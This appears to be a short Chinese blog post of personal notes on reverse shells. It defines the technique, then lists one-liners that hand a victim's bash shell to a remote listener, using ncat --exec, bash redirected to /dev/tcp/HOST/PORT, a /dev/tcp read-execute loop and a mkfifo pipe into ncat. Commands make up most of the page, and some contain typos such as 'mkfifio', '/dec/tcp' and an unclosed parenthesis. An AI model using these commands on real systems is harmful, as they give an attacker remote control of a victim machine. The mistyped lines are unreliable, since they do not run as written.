首页 > 系统相关 >reverse shell

reverse shell

时间:2023-02-02 13:23:13浏览次数:37  
标签:shell reverse -- tcp PORT bash

 

 

反弹shell(reverse shell),就是攻击端(本机)监听在某TCP/UDP端口,受害端(目标服务器)发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

ncat:

attacker

ncat --listen --source-port 5555 --keep-open

victim

ncat --exec /bin/bash IP 5555 
bash -i >& /dev/tcp/intrinsic/5555 0<&1

This snippet runs a new interactive instance of bash (bash -i), on a TCP connection to the specified port on the specified host which is created for the duration of the bash process. Standard output and standard error are sent through this connection

(>& /dec/tcp/HOST/PORT), and standard input is read through this connection (0>&1) this should be 0<&1, but 0>&1 works too

echo b c > /dev/tcp/HOST/PORT
exec 5<> /dev/tcp/HOST/PORT

cat <&5 | while read line; do
    $line >&5 2>&1
done

 

file=$(mktemp --dry-run -p /tmp --suffix .pipe tmp.XXX

mkfifio --mode=700 $file

cat $file | bash -i 2>&1 | ncat HOST PORT > $file

cat output pipe content to bash, bash execute, nc pipe the output to pipe 

 

标签:shell,reverse,--,tcp,PORT,bash
From: https://www.cnblogs.com/dissipate/p/17085694.html

相关文章

  • shell脚本之判断不同的系统间软件的安装方法
    示例一:通过判断命令类型选择不同系统的安装方式#!/bin/bashcommand_exists(){type"$1"&>/dev/null;}install_curl(){ifcommand_existsapt-get;t......
  • shell的变量
    变量含义学生时代所学的数学方程式,如x=1,y=2,那会称之为x,y是未知数对于计算机角度,x=1,y=2等于定义了两个变量,名字分别是x,y,且赋值了1和2变量是暂时存储数据的地方,变量临时存......
  • 学习nc反弹shell过程中所想到的
      nc反弹shell可以使用如下命令:nc-e/bin/bashipport   但是如果nc的版本没有e选项,那么:mkfifo/tmp/f#或者mknod/tmp/fpcat/tmp/f|/bin/sh-i2>&1|......
  • shell脚本之if,case语句与for循环
    一、if语句if[条件]then命令1 命令2…..elseif[条件]then命令1 命令2….else命令1 命令2…..fifi if语句实例vima.sh......
  • LeetCode - 344. Reverse String
    题目Writeafunctionthatreversesastring.Theinputstringisgivenasanarrayofcharacterschar[].Donotallocateextraspaceforanotherarray,youmust......
  • shell基础
    shell开头#!/bin/bash#!/bin/sh#!/usr/bin/awk#!/usr/bin/envpython#!/usr/bin/perl这几行在第一行,不再第一行就是注释不用的话就用相关解释器带上文件名执行......
  • Linux系统Shell脚本第四章:shell函数
    目录一、shell函数1、函数的作用2、函数使用步骤3、定义函数基本格式4、函数变量5、退出函数6、函数位置变量与脚本位置变量区别 一、shell函数1、函数的作用定......
  • 希尔排序(Shell Sort)
    一、算法概述1.1算法分类十种常见排序算法可以分为两大类:比较类排序:通过比较来决定元素间的相对次序,由于其时间复杂度不能突破O(nlogn),因此也称为非线性时间比较类排......
  • shell脚本变量
    1、$#表示执行脚本传入参数的个数2、$*表示执行脚本传入参数的列表(不包括$0)3、$$表示进程的id4、$@表示执行脚本传入参数的所有个数(不包括$0)5、$0表示执行的脚本......
  • 学习bash反弹shell过程中所想到的
       bash-i>&/dev/tcp/ip/port0>&1   在这一句命令中,主要包含两个问题:“>&”和“/dev/tcp/ip/port”。1. /dev/tcp/ip/port  /dev目录下存放这设备文......